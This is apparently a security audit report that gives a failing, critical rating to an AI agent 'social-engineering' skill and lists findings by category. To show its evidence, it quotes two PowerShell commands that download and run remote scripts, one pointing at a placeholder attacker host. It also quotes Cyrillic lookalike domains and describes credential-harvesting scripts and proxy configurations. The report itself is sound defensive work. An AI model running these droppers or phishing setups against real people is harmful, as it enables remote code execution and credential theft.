social-engineering

Fail

Audited by Gen Agent Trust Hub on Sep 19, 2026

Risk Level: CRITICALCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADSREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONOBFUSCATIONPRIVILEGE_ESCALATIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
  • [OBFUSCATION]: The skill utilizes homoglyph substitution to imitate legitimate domains, which is a key technique for phishing attacks.
  • Evidence found in SKILL.md: аpple.com (Cyrillic 'а'), microsоft.com (Cyrillic 'о'), and bnа.com (Cyrillic 'а') are used as examples of lookalike domains.
  • The detector also flagged аррӏе.com which uses Cyrillic characters to mimic apple.com.
  • payloads.md explicitly mentions the use of zero-width characters for domain spoofing to bypass security checks.
  • [REMOTE_CODE_EXECUTION]: The skill provides functional PowerShell dropper patterns designed to fetch and execute malicious code on a target machine.
  • guides/pretexting-techniques-guide.md contains a Rubber Ducky payload: powershell -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://assessment-server.com/gather.ps1')".
  • payloads.md contains a similar pattern: powershell -WindowStyle Hidden -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')".
  • These patterns are flagged by AV scanners as malicious droppers.
  • [PRIVILEGE_ESCALATION]: Instructions frequently require the use of sudo to execute tools, which is a risk if the agent is operating in a sensitive environment.
  • SKILL.md, payloads.md, and guides/social-engineering-cli-reference.md all instruct the user or agent to run sudo setoolkit.
  • [DATA_EXFILTRATION]: The skill provides scripts and configurations specifically designed for capturing and exfiltrating user credentials to external servers.
  • payloads.md includes a capture.php script that logs POST request data (including credentials) to a local file (/var/log/harvest/credentials.log).
  • It also provides Nginx configurations (nginx.conf) using Lua to intercept and log POST request bodies during reverse proxy phishing.
  • guides/phishing-campaign-design-guide.md and payloads.md describe how to set up exfiltration channels via GoPhish and custom Python trackers.
  • [COMMAND_EXECUTION]: The skill relies on several CLI tools for executing its attack workflows, including setoolkit, gophish, swaks, sendemail, and proxmark3.
  • [CREDENTIALS_UNSAFE]: While primarily using placeholders, the skill provides the backend infrastructure (scripts and databases) required to store and manage stolen credentials.
  • [INDIRECT_PROMPT_INJECTION]: The skill facilitates the ingestion of untrusted external data (such as target user lists and social media profiles) into automated templates used for phishing and pretexting without clear sanitization protocols.
  • Ingestion points: targets.txt, targets.csv, and API endpoints for GoPhish and SET.
  • Capability inventory: Includes network operations (curl, swaks), file writing, and shell execution via the allowed tools.
  • [DYNAMIC_EXECUTION]: The skill includes instructions for generating and deploying Rubber Ducky and Bash Bunny payloads, which involve dynamic generation and injection of executable scripts via HID simulation.
Recommendations
  • CRITICAL: 1 infected file(s) detected - DO NOT USE
  • AI detected serious security threats
  • Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata
Risk Level
CRITICAL
Analyzed
Sep 19, 2026, 04:37 PM